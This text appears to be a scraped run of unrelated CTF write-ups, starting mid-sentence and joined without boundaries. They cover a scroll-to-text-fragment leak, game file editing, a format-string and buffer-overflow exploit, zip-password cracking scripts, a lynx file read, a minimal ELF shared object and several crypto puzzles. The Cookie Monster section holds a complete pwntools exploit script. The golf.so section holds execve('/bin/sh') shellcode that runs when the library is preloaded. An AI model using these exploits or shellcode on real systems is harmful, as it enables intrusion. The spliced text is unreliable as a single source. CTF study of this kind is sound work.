to issue.php?id=3. So now we have arbitrary content with a user activation on the correct page, but still no code exec. Ok, but what can we do? A recent addition to Chromium was scroll-to-text-fragment, which lets you search the page for text (in entire words only) and scroll to it, though this consumes the user activation. If you could search for a letter at a time, then you could use your injection to add a bunch of whitespace and a lazy-loading image to detect the scroll. It turns out you can: the whole-word match counts tag boundaries as word boundaries, and the `<em>` tag gets split into a `<span>` for each individual letter on load! So you can do text searches of the form `#:~:text=F-,{,-X` for example to search for an X at the beginning of the flag. You can specify multiple text searches to do a binary search across the whole alphabet. Also include a meta refresh to send back offsite again after a short delay and you can leak ~5 characters per captcha. Repeat 5 or 6 times to get the whole flag.</span>
# [Original writeup](https://bigpick.github.io/TodayILearned/articles/2020-04/wpictf_writeups#remys-epic-adventure-2-electric-boogaloo) ![](https://i.kym-cdn.com/photos/images/newsfeed/001/498/705/803.png) The given `.zip` file is a folder for a Windows `.exe` game and it’s supporting files. I played through the game once compleletely without any modifications to see what it was. Playing the game (`Game.exe`) file, we see it looks like a RPG type game. We start off in an overworld, and have to go to “**Da Town**” first to pick up another character to our party. Then, we can proceed to the "main" dungeon, the Illuminati HQ, where we pick up another character. This character is the key to winning the game. At the end of the dungeon, is the “brainwashed Illuminati”, which when attacked get’s 0 damage and does** a lot** to us. So, we need some sort of weapon or modifier to be able to defeat it. In the overworld before the dungeon, there’s a seller which has a “**DNS Resolver**” which gives one of our characters, Adrian, an ability to connect to his media server. The problem is that it costs **999,999 **Vimcoins, which would be impossible to obtain. Initially I tried looking through things with Cheat Engine while the game was running, but that was not successful (not a 1337 gamer :( ). After talking with the author, he mentioned I should try one of the only things which I had not looked at yet, which was modifying some of the supporting source files directly. I did a `grep -r 999999 .` from the main folder root. My thought was to just reduce the price of the resolver to 0 and buy it for free. It led me to the `www/data/Map001.json` file. There, we can see what looks to be the DNS resolver item, and noticeably, its price: ```cat Map001.json| jq '.events[] | select(.id == 8) | .pages[].list[] | select(.code == 605)'...{ "code": 605, "indent": 0, "parameters": [ 0, 5, 1, 999999 ]}``` I changed that `999999` value to `0`, and also modified some of the values in `Enemies.json` too so that the Zoomers only had 1 health (and for good measure, put the Brainwashed illuminati to 0 as well): ``` “name”: “Zoomer”, “note”: “”, “params”: [ 1, 0, 0, 0, 0, 0, 0, 0 ]… “name”: “Brainwashed Illuminati”, “note”: “”, “params”: [ 1, 1, 0, 0, 0, 0, 0, 0 ]``` Then, starting a new game with these files, was able to obtain the DNS Resolver for 0 coins. And then beat the boss to get to the flag. I also modified the experience gained for defeating an enemy to be huge (for max rank immediately) and also made the zoomer’s health to 1 for easier kills as well. The following GIF shows (see the link to original writeup): equipping the DNS resolver that we got for freeBeating zoomers with 1 healthThe max level experience gained from itDefeating the boss via the free DNS Once the boss is defeated, we get transported to the end stage, which spells out the flag (see the link to original writeup): Flag is `WPI{JrPGZ_r_SUGOI}`. (sorry for the shaky GIFs -- hand recorded bc Mac and CTF was almost over and didn't have time to figure out screen record) Afterwards, I talked with the author as I was curious if it was possible to just wrong-warp to the end world but: > **gp**> > Nice! Now I’m kinda curious if you could just like wrong warp straight to the flag world if you messed with the other stuff> > **Justin**> > People have tried but I put a LOT of false win screens in the game> > **gp**> > lmao So, sorry to those people :) I guess I didn’t even need the DNS resolver either since I just made the end boss’ health 1 like the Zoomer’s as well? Nope, that would have been wrong too: > **Justin** > > You do actually need to kill the illuminati with the free software song to win.> > Otherwise the game calls you out and game overs> > Or rather, having the free software song in your arsenal
# Cookie Monster ## Description > Hungry?> > nc ctf.umbccd.io 4200 Attached is the binary file. ## Solution Let's reverse the binary with [Ghidra](https://ghidra-sre.org/). The `main` function prints a cookie monster, then calls the function `conversation`, which we will exploit. ```cvoid conversation(void){ time_t tVar1; char buf [5]; char name [8]; uint local_cookie; tVar1 = time((time_t *)0x0); srand((uint)tVar1); saved_cookie = rand(); local_cookie = saved_cookie; puts("\nOh hello there, what\'s your name?"); fgets(name,8,stdin); printf("Hello, "); printf(name); puts("\nWould you like a cookie?"); gets(buf); check_cookie((ulong)local_cookie); return;}``` The function initialises the pseudo randomness with `time`, then creates a random value and saves it in `local_cookie`. It acts as a canary: at the end of the function, a check is performed in `check_cookie`, to ensure the value of the local variable (on the stack) has not been changed. After creating the cookie, we may enter 7 characters (one is used for `\n`), which will be printed with `printf(name)`. This is a format string vulnerability, and therefore we can leak arbitrary data on the stack. Due to the size limitation however, we may only leak one address... Then the `gets` function allow for a buffer overflow. As we analyse the binary, we see a function `flag`, which displays the flag. The exploit is therefore the following: we need to retrieve the value of the cookie on the stack, using the format string vulnerability, then overflow the buffer and replace the return address by the address of `flag`, and we need to conserve the value of `local_cookie`. This looks quite straightforward, except that PIE and ASLR are activated! Therefore the address of `flag` changes between executions. We may use the format string vulnerability, but we can only leak one value at a time... Lucky for us, the cookie is generated using poor randomness! It just uses the current time, and therefore if we can synchronize with the server, we may compute the exact same values. The exploit is therefore the following:- use the format string vulnerability to leak the time of the server- run the program again- use the format string vulnerability to leak the return address- compute the address of flag, being the return address plus a constant offset- compute locally the cookie, knowing the server's time- overflow the buffer, by replacing the cookie with its computed value (hopefully nothing changes) and replacing the return address with the computed `flag` address. Let's look at each step one by one. ### Synchronize with server The idea is the following: we connect to the server, at the same time we launch our own C program which prints the local time. Then we use the format string vulnerability to display the cookie, and then we perform a search on the server's time to find which time could yield to the chosen random number. This gives us the time difference between local machine and remote server. First, let's find the cookie value on the stack. Using `gdb` to debug the program locally, we see that the `local_cookie` variable is located at `-0x4(rbp)`. Then we exploit the format string vulnerability to see the values on the stack, by inputing `%{}$p`, where we may choose `{}` until we get the cookie value. ![leak_the_stack](../images/cookie_stack.png) In the picture above, we input `%9$p`, which is a format string which will display the 9th value on the stack. This is the red value displayed, and when we compare it to the cookie stored on the stack, it matches. So we've found its position on the stack. Now we can synchronize ourself with the server. This simple C program will just print the local time: ```c#include <stdio.h>#include <time.h> int main() { printf("%ld\n", time(NULL)); return 0;}``` We compile it with: ```bashgcc -o time time.c``` Then we use this simple Python script to retrieve all necessary information: ```pythonfrom pwn import *import os sh = remote("ctf.umbccd.io", 4200) os.system("./time") print(sh.recvuntil("name?").decode())sh.sendline("%9$p")text = sh.recvuntil("cookie?").decode()print(text)``` This prints the local time and the cookie. Then we use the following C program to find the offset. As `time` is in seconds, we make the assumption that the time difference is lower than 200s. ```c#include <stdio.h>#include <stdlib.h>#include <time.h> #define COOKIE {cookie_value}#define LOCAL_TIME {local_time_value} int main() { for(time_t t = LOCAL_TIME - 200; t < LOCAL_TIME + 200; ++t) { srand(t); if(rand() == COOKIE) { printf("%ld"\n, t - LOCAL_TIME); break; } } return 0;}``` We compile it, execute it, and find the time difference between the server and our local computer. ### Find address of flag Because of PIE and ASLR, functions will not have the same address between different executions. Addresses will have the form `addr = random_value + constant_offset`. Therefore, we can read using format string vulnerability the original return address, and then deduce by adding a constant offset the address of flag. As we know the cookie is the 9th element on the stack, we deduce the return address is the 11th when exploiting the format string vulnerability, and therefore inputing `%11$p` will leak the original return address. Then we can compute the offset: ![Flag offset](../images/cookie_addr_flag.png) In red is the original return address, and in green the address of `flag` for this run. Therefore the offset is `1b5 - 34f = -19a`. ### Complete exploit This script performs the exploit: ```pythonfrom pwn import * sh = remote("ctf.umbccd.io", 4200) cookie = int(os.popen("./rand").read()) print(sh.recvuntil("name?").decode())sh.sendline("%11$p")text = sh.recvuntil("cookie?").decode()print(text)original_ret = text.split("\n")[1][7:]original_ret = int(original_ret, 16) print(hex(original_ret))print(hex(cookie)) flag = original_ret - 0x19a payload = b'0'*13 + p32(cookie) + b'aaaabbbb' + p64(flag)sh.sendline(payload)sh.interactive()``` with `rand.c` the following file: ```c#include <stdio.h>#include <stdlib.h>#include <time.h> #define TIME_OFFSET {time_offset} int main() { srand(time(NULL) + TIME_OFFSET); printf("%d"\n, rand()); return 0;}``` ![cookie](../images/cookie.png) Flag: `DawgCTF{oM_n0m_NOm_I_li3k_c0oOoki3s}`
This task required unpack, and crack password to zip, gzip, tar files.Here is a script in bash to detect file with bash (tar can return application/gzip type, so is defined checking gzip returned status). Required avalible commands (for this script):* zip2john* john* wget* python* file Decode.sh```#!/bin/bash mkdir -p new/mkdir -p old/ if [ ! -f wordlist.txt ]; then wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/xato-net-10-million-passwords-100.txt mv xato-net-10-million-passwords-100.txt wordlist.txtfi File="$1" function DisPies { # Delete it source Paste incoming extended sources mv $File old/ File="$( ls new/ )" mv new/* .} while [[ 1 -eq 1 ]]; do MimeType="$( file --mime-type -b ./$File )" echo $MimeType if [ "$MimeType" == "application/zip" ]; then zip2john $File > o mv $File $File.gz File="$File.gz" john --wordlist=wordlist.txt o > /dev/null cd new/ $( ../Password.py "../$File" ) cd .. DisPies fi if [ "$MimeType" == "application/gzip" ]; then gzip -dkc $File > new/$File if [ $? == 0 ]; then DisPies else MimeType="application/x-tar" fi fi if [ "$MimeType" == "application/x-tar" ]; then cd new/ tar -xf ../$File cd .. DisPies fidone``` Password.py```#!/usr/bin/python3 import zipfileimport osimport sys with zipfile.ZipFile(sys.argv[1]) as f: f.setpassword(os.popen('john --show ../o').read().split(':')[1].encode()) f.extractall('./') f.close()```This file is required becouse we can't insert password to unzip with pipe. FLAG: rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687}
Nothing in the description, the challenge title led to googling since i didnt know what lynxve was.. its a text based browser. Looking into it's functionality and options. There is a setting for the bookmarks file which stands out as something I should look into to read from the filesystem. I set a bookmark with 'a', check the bookmarks list with 'v', then press backspace to go back, which shows me a listing of the various pages i've looked at. in that listing it says: "file://localhost/home/ctf/bookmarks.html" Lets just change that to a folder and see if we can list out the directory. "file://localhost/home/ctf/" it gives us the directory listing with a file called "flag" in it. "file://localhost/home/ctf/flag" WPI{lynX_13_Gr8or_Th@n_Chr0m1Um}
```1. linux2. bash 3. shell script3. tar4. gzip5. unzip6. fcrackzip7. password.txt``````#!/bin/bashx=1819while [ $x -gt -1 ]do typ=`ls $x.*|cut -f2 -d.` echo $x.$typ case $typ in gz) out=`gzip -fkNd $x.$typ` ;; tar) out=`tar -kxvf $x.$typ` ;; zip) pas=`fcrackzip -Du $x.$typ -p password.txt|grep "=="|cut -f3 -d= |tr -d ' \n'` #echo $x.$typ:$pas out=`unzip -oP $pas $x.$typ` ;; esac x=$(( $x - 1 ))done``````$ time bash loop.sh; more flag.txt1819.gz1818.tar1817.tar1816.gz1815.zip1814.tar......6.zip5.zip4.zip3.zip2.zip1.tar0.gz real 0m17.057suser 0m13.506ssys 0m5.277srtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687}```
TLDR;- Consecutive digraphs cipher with known plaintext- Set up system of equations to limit possible keys- Bruteforce a small amount of possible keys- Recover all 12 equivalent keys to get the flag [writeup](https://jsur.in/posts/2020-04-27-ijctf-2020-writeups#nibiru)
# golf.so Writeup ## Problem Details [golf.so.pwni.ng](http://golf.so.pwni.ng/) ## Solution The linked site contains some leaderboard table with the ability to upload new solutions: ![](https://i.imgur.com/cNrhzC5.png) When we try to upload we get the following message: ![](https://i.imgur.com/sBGKwLg.png) Means we must create shared object which should run `execve` upon loading, and be small enough. Lets start working. ### Sources - [https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html](https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html) - great tutorial minimizing 32 bit linux executable.- [https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64](https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64) - good exmaple porting the previous tutorial to 64 bit.- [https://github.com/elemeta/elfloader](https://github.com/elemeta/elfloader) - Linux loader wasn't informative about it's issues, so I used external small loader to debug the ELF.- [http://osr507doc.sco.com/en/topics/ELF_dynam_section.html](http://osr507doc.sco.com/en/topics/ELF_dynam_section.html) - Greate documentation of the dynamic section. ### Naive Try - Using GCC First of all what is ELF ? **Executable and Linkable Format** is a common standard in Unix environment which includes the following: - Executable files (for example `/bin/bash`).- Object code (for example `.o` file created by a compiler).- Shared libraries (equivalent to `.dll` files).- Core dumps. The reason we use shared libraries is mainly to reduce amount of code and data of the executables, and allow sharing common resources between multiple executables. Best example is the common `libc` shared library. So lets compile a simple shared library which runs execve: ```cint main() { execve("/bin/sh", 0, 0); return 0;}``` ```bashalex@ubuntu:~/Desktop/writeup$ LD_PRELOAD=./sample_gcc /bin/true``` Nothing happens. Apparently the Linux loader will not run anything (unlike Windows dllmain) unless it was commanded to with special annotation: ```c__attribute__((constructor)) main() { execve("/bin/sh", 0, 0);}``` ```bashalex@ubuntu:~/Desktop/writeup$ LD_PRELOAD=./sample_gcc /bin/true$ whoamialexalex@ubuntu:~/Desktop/writeup$ wc -c sample_gcc7904 sample_gcc``` Now it works, but the file is too big. ### Compiling ELF in NASM I searched the web for template of a minimized ELF file so I can use NASM - a popular assembler and disassembler for Linux. So I used the following template: ```wasmbits 64 org 0x08048000 ehdr: ; Elf64_Ehdr db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 62 ; e_machine dd 1 ; e_version dq _start ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf64_Phdr dd 1 ; p_type dd 5 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_align phdrsize equ $ - phdr _start: xor eax, eax mul esi push rax mov rdi, "/bin//sh" push rdi mov rdi, rsp mov al, 59 syscall filesize equ $ - $$``` We can compile it with NASM and run it: ```bashalex@ubuntu:~/Desktop/writeup$ nasm -f bin -o try2 try2.asmalex@ubuntu:~/Desktop/writeup$ ./try2bash: ./try2: Permission deniedalex@ubuntu:~/Desktop/writeup$ chmod 777 try2alex@ubuntu:~/Desktop/writeup$ ./try2$alex@ubuntu:~/Desktop/writeup$ wc -c try2143 try2``` We can observe the ELF using `readelf` command: ```bashalex@ubuntu:~/Desktop/writeup$ readelf -h try2ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x8048078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0``` So lets analyze the assembly file: - `bits 64` - 64 bit architecture- `org 0x08048000` - Sets base address.- `ehdr` - Defines ELF header. It is a must for every ELF file. We will soon see that not all the fields are mendatory. - `e_shoff` - Value for section header table is zero. This means the file has no sections like `.text`, `.data`, `.reloc` and more. - `e_phnum` - equals to 1. This means we have one program header. - A popular misconception is that executable must have sections. Sections are created by the compiler only for organizing the file and helping the loader to map each section to the appripriate memory region (R/W/X).- `phdr` - The only program header in file. - `p_type` - Equals to 1. We can see using `readelf` it is of `LOAD` type. ```bash alex@ubuntu:~/Desktop/writeup$ readelf -l try2 Elf file type is EXEC (Executable file) Entry point 0x8048078 There is 1 program header, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000008048000 0x0000000008048000 0x000000000000008f 0x000000000000008f R E 0x1000 ``` - `_start` - This symbol will be run upon file execution. In our case is contains shellcode running `execve`. Now lets fix the file so it will be defined as shared object and not as executable: - we change `dw 2 ; e_type` into `dw 3`. ```bashalex@ubuntu:~/Desktop/writeup$ nasm -f bin -o try2 try2.asm alex@ubuntu:~/Desktop/writeup$ file try2try2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, corrupted section header sizealex@ubuntu:~/Desktop/writeup$ LD_PRELOAD=./try2 /bin/trueERROR: ld.so: object './try2' from LD_PRELOAD cannot be preloaded (object file has no dynamic section): ignored.``` So we can see the file is indeed `shared object` but when we try to load it we receive `object file has no dynamic section`. Now the fun part begins. ### Creating Dynamic Program Header According to [http://man7.org/linux/man-pages/man5/elf.5.html](http://man7.org/linux/man-pages/man5/elf.5.html): > PT_DYNAMICThe array element specifies dynamic linking information. Not helping. Lets open in IDA the first GCC compiled version and dissect it. **Program Header for the Dynamic data:** ![](https://i.imgur.com/zcfC2Yh.png) It's `Virtual Address` field points to mapped address which contains more information about dynamic linking. **Dynamic Linking Struct:** ![](https://i.imgur.com/qV6j1vX.png) Digging into [http://osr507doc.sco.com/en/topics/ELF_dynam_section.html](http://osr507doc.sco.com/en/topics/ELF_dynam_section.html) led me into the next information: - Each entry has 16 bytes size - - `dq code` - `dq value/ptr`- `DT_NEEDED` - Linking to dependable libc. the value is index at string table.- `DT_INIT` - Virtual address to function which should run on loading.- `DT_GNU_HASH` - Not sure about it's meaning. Because it was a must for a proper loading, I copied the values form this executable.- `DT_STRTAB` - String table pointer. Contains important strings for loading and linking ![](https://i.imgur.com/tBc6B3Y.png) - `DT_SYMTAB` - Symbol table pointer. ![](https://i.imgur.com/COiM6fs.png) - `DT_STRSZ` - String table size.- `DT_SYMENT` - Symbol table entry size.- `DT_NULL` - Ending field.- Rest weren't important for the challenge. Using the attached sources, mandatory fields are: `DT_NULL`, `DT_HASH`, `DT_STRTAB`, `DT_SYMTAB`, `DT_STRSZ`, `ST_SYMENT`. So lets create a custom dynamic section/table (`try3.asm`): ```wasmbits 64 org 0x08048000 ehdr: ; Elf64_Ehdr db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 62 ; e_machine dd 1 ; e_version dq _start ; e_entry dq 0x40 ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw 0x40 ; e_ehsize dw 0x38 ; e_phentsize dw 2 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx phdr_load: ; Elf64_Phdr dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_align phdr_dyn: ; Elf64_Phdr dd 2 ; p_type dd 6 ; p_flags dq dyn_offset ; p_offset dq _dyn ; p_vaddr dq _dyn ; p_paddr dq dyn_size ; p_filesz dq dyn_size ; p_memsz dq 0x8 ; p_align _start: xor eax, eax mul esi push rax mov rdi, "/bin//sh" push rdi mov rdi, rsp mov al, 59 syscall dyn_offset equ $ - $$ _dyn: dq 6FFFFEF5h, _gnu_hash ; DT_GNU_HASH dq 5, 0 ; DT_STRTAB dq 6, 0 ; DT_SYMTAB dq 0Ah, 0h ; DT_STRSZ dq 0Bh, 0h ; DT_SYMENT dq 0Ch, _start ; DT_INIT dq 0,0 dyn_size equ $ - _dyn _gnu_hash: dd 1 dd 1 dd 1 dd 0 dq 0 dd 0 dd 0 filesize equ $ - ehdr``` When we run it we get: ```bashalex@ubuntu:~/Desktop/writeup$ LD_PRELOAD=./try3 /bin/true$ alex@ubuntu:~/Desktop/writeup$ wc -c try3343 try3``` Great Progression ! In order to get the first flag, we need to be below 300. Playing a bit with the assembly we can see `DT_GNU_HASH` isn't really mandatory, and can be removed. This will give us: ```bashalex@ubuntu:~/Desktop/writeup$ wc -c try3295 try3``` And the first flag: ![](https://i.imgur.com/4N29Vvw.png) ### Reducing to the Minimum Lets try to find more unnecessary dynamic fields. We can remove `DT_SYMENT` and `DT_STRSZ`, but anything beyond that will give us SegFault. Next effort will be finding unused fields inside program header, and elf header. I iterated all the fields to find all the unused one. I also changed the the shellcode: ```wasmbits 64 org 0x08048000 ehdr: ; Elf64_Ehdr db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 62 ; e_machine dd 1 ; e_version dq _start ; e_entry dq 0x40 ; e_phoff times 12 db 9 ; FREE SPACE dw 0x40 ; e_ehsize dw 0x38 ; e_phentsize dw 2 ; e_phnum times 6 db 9 ; FREE SPACE phdr_load: ; Elf64_Phdr dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr times 16 db 9 ; FREE SPACE dq filesize ; p_memsz dq 0x1000 ; p_align phdr_dyn: ; Elf64_Phdr dd 2 ; p_type dd 6 ; p_flags dq dyn_offset ; p_offset dq _dyn ; p_vaddr times 32 db 9 ; FREE SPACES _start: xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall dyn_offset equ $ - $$ _dyn: dq 5, 0 ; DT_STRTAB dq 6, 0 ; DT_SYMTAB dq 0Ch, _start ; DT_INIT dq 0,0 dyn_size equ $ - _dyn filesize equ $ - ehdr``` When we assemble the shellcode, we can split it, and use `jmp short` between the parts (2 byte instruction). ```wasmpart 1 - 10 bytes48 bb d1 9d 96 91 d0 movabs rbx,0xff978cd091969dd18c 97 ff part 2 - 3 bytes48 f7 db neg rbx part 3 - 14 bytes31 c0 xor eax,eax53 push rbx54 push rsp5f pop rdi99 cdq52 push rdx57 push rdi54 push rsp5e pop rsib0 3b mov al,0x3b0f 05 syscall``` So lets insert the shellcode into the spaces, and the dynamic table into the last 32 bytes space. Final code (`try4.asm`): ```wasmbits 64 org 0x08048000 ehdr: ; Elf64_Ehdr db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 62 ; e_machine dd 1 ; e_version dq _start ; e_entry dq pht_start ; e_phoff ; part 1 _start: mov rbx, 0xFF978CD091969DD1 jmp part_2 dw 0x40 ; e_ehsize dw 0x38 ; e_phentsize dw 2 ; e_phnum part_2: neg rbx jmp part_3 pht_start equ $ - $$ phdr_load: ; Elf64_Phdr dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr part_3: xor eax, eax push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall db 0,0 ; remainder dq filesize ; p_memsz dq 0x1000 ; p_align phdr_dyn: ; Elf64_Phdr dd 2 ; p_type dd 6 ; p_flags dq dyn_offset ; p_offset dq _dyn ; p_vaddr ; dynamic table in free space dyn_offset equ $ - $$ _dyn: dq 0Ch, _start ; DT_INIT dq 5, 0 ; DT_STRTAB dq 6, 0 ; DT_SYMTAB filesize equ $ - ehdr``` ```wasmalex@ubuntu:~/Desktop/writeup$ nasm -f bin -o try4 try4.asm alex@ubuntu:~/Desktop/writeup$ LD_PRELOAD=./try3 /bin/true$ alex@ubuntu:~/Desktop/writeup$ wc -c try4191 try4``` When we submit it we get the second flag: ![](https://i.imgur.com/7fJmzpA.png)
# RSyay! For this challenge, we're given a script `source.py` running in `nc crypto.byteband.it 7002`. The goal of the challenge is to encrypt given plaintexts using RSA xD, but for that we'll need `N` and `e`. Here what we have:* `e == 65537`* the service provides us with 3 values: * the plaintext in base64 * `m` * `x` the script first generates RSA keys, where the primes are n bits long, it also generates `m`, another prime with `n + 1` bits(this will prove to be crucial later).It also generates an int `x`, where:```pythonx = pow(p, m, m)*pow(q, m, m) + p*pow(q, m, m) + q*pow(p, m, m) + p*q + pow(p, m-1, m)*pow(q, m-1, m)``` our goal is to get `N`, let's dissect `x`:`x` is made up of 6 terms so to say:* `p`* `q`* `pow(p, m, m)`* `pow(q, m, m)`* `pow(p, m-1, m)`* `pow(q, m-1, m)` ### pow(p, m-1, m) and pow(q, m-1, m) From `Fermat's little theorem`: *If p is prime and does not divide a, then a^(p – 1) ≡ 1 [p].* since `m` is prime, and does not divide `p` nor `q`, then```pythonpow(p, m-1, m) == pow(q, m-1, m) == 1``` ### pow(p, m, m) and pow(q, m, m)we have:```pythonpow(p, m, m) == pow(p, m-1, m) * pow(p, 1, m) # since p^m == p^(m-1) * p == 1 * pow(p, 1, m) == p # because m is 1 bit longer than p, so p won't wrap m, told ya it'll matter ;)```same goes for `q`, which means:```pythonpow(p, m, m) == ppow(q, m, m) == q``` ### Xnow we bring everything together:```pythonx == pow(p, m, m)*pow(q, m, m) + p*pow(q, m, m) + q*pow(p, m, m) + p*q + pow(p, m-1, m)*pow(q, m-1, m) == p*q + p*q + q*p + p*q + 1 == 4*p*q + 1 == 4*N + 1``` ### NFrom now on it's simple, get the value of `x`, substract `1` and divide the result by `4`, the result in `N`, use it encrypt the plaintext PS: the function `encrypt` used in the file is a bit out of the usual, check `solve.py` to see how does the encryption happens ```flag{RSA_1s_th3_str0ng3st_c1ph3r_ind33d_0_0}```
The service was a statically linked 32-bit C binary. The service consisted of the binary itself, a script (run.sh) to start it, a folder (data) to store the service data and a Docker environment. One thing to note here is that all these files were mounted into the Docker as read/write The binary had very few protections enabled and had multiple RWX-segments. Upon connecting to the service, you were prompted to either register a new user or login with an existing one. After the login, you could either append a new receipt to an index or print the receipt stored at an index. When the connection is closed, all added receipts were stored on disk in a folder named after the user. The filenames were decimal numbers representing the index of the receipt with the filecontent being the receipt itself. For the full write-up, see link
# Post-Homework Death 570 Points```My math teacher made me do this so now I'm forcing you to do this too. Flag is all lowercase; replace spaces with underscores. Dev: ClaireHint! When placing the string in the matrix go up to down rather than left to right.Hint! Google matrix multiplication properties if you're stuck.```[posthomeworkdeaths.txt](posthomeworkdeaths.txt) Inside the text file:```Decoding matrix: 1.6 -1.4 1.82.2 -1.8 1.6-1 1 -1 String: 37 36 -1 34 27 -7 160 237 56 58 110 44 66 93 22 143 210 49 11 33 22``` Its just a simple [matrix multiplication](https://www.mathsisfun.com/algebra/matrix-multiplying.html) Assume the `Matrix A` is Decode matrix and `Matrix B` is String Matrix``` According to the hint, we place string up to down so become 3X7 Matrix Matrix A Matrix B | 1.6 -1.4 1.8 | | 37 34 160 58 66 143 11 | | 2.2 -1.8 1.6 | X | 36 27 237 110 93 210 33 || -1 1 -1 | | -1 -7 56 44 22 49 22 |```I wrote a [python script](solve.py) to calculate:```pyimport numpy as npA = np.array([[1.6 ,-1.4 ,1.8], [2.2 ,-1.8 ,1.6], [-1 , 1 , -1]]) B = np.array([[37, 34, 160, 58, 66, 143, 11], [36 ,27 ,237 ,110 ,93 ,210 ,33], [-1 ,-7, 56 ,44, 22, 49, 22]]) C = np.dot(A,B)print(C)```Result:```[[7.00000000e+00 4.00000000e+00 2.50000000e+01 1.80000000e+01 1.50000000e+01 2.30000000e+01 1.10000000e+01] [1.50000000e+01 1.50000000e+01 1.50000000e+01 1.42108547e-14 1.30000000e+01 1.50000000e+01 7.10542736e-15] [0.00000000e+00 0.00000000e+00 2.10000000e+01 8.00000000e+00 5.00000000e+00 1.80000000e+01 0.00000000e+00]]``` Search `Decode Matrix` on Google, I saw [this page](https://www.instructables.com/id/Encrypt-a-message-using-matrixes/) says 1-26 is A-Z and 0 is space Then I add few lines of code below:```pyflag = ""for i in range(7): for j in range(3): f = int(C[j][i]) if f == 0: flag += "_" else: flag += chr(f+97)print(flag)```Result:```HP_EP_ZOVS_IPNFXPSL__```Emm seems is encrypted, lets try caesar cipher!```+1 go_do_ynur_homework__+7 ai_xi_shol_bigyqile__+11 we_te_odkh_xecumeha__+22 lt_it_dszw_mtrjbtwp__......```Can see the **first one** is the flag! (Don't know why is abit off) ## Flag ```rtcp{go_do_your_homework}```
Given this filesystem, I went for the basic approach. ```file strcmp.fat32``` ```strcmp.fat32: DOS/MBR boot sector, code offset 0xfe+2, OEM-ID "strcmp ", reserved sectors 8, FAT 1, Media descriptor 0xf8, sectors/track 1, heads 1, sectors 66057 (volumes > 32 MB), FAT (32 bit), sectors/FAT 513, reserved 0x1, dos < 4.0 BootSector (0x0)``` On mounting the filesystem, there were endless folders within them, so ```find ``` wouldn't be useful in this case. strings, ghex and magic bytes were not very relevant. So, I went googling for the filesystems and came across a utility called ```fsck``` which can repair filesystems and in this case would be vfat (older named for fat32). ```fsck.vfat -y strcmp.fat32``` Once the command completed, there was a lot of text, mostly repeating, which were generated. The output of this command hinted that the directory structure reveals the flag in it. Just observations.So, this command gave the flag straight away. ```fsck.vfat -y strcmp.fat32 | awk '{ print length, $0 }' | sort -n``` ```..121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 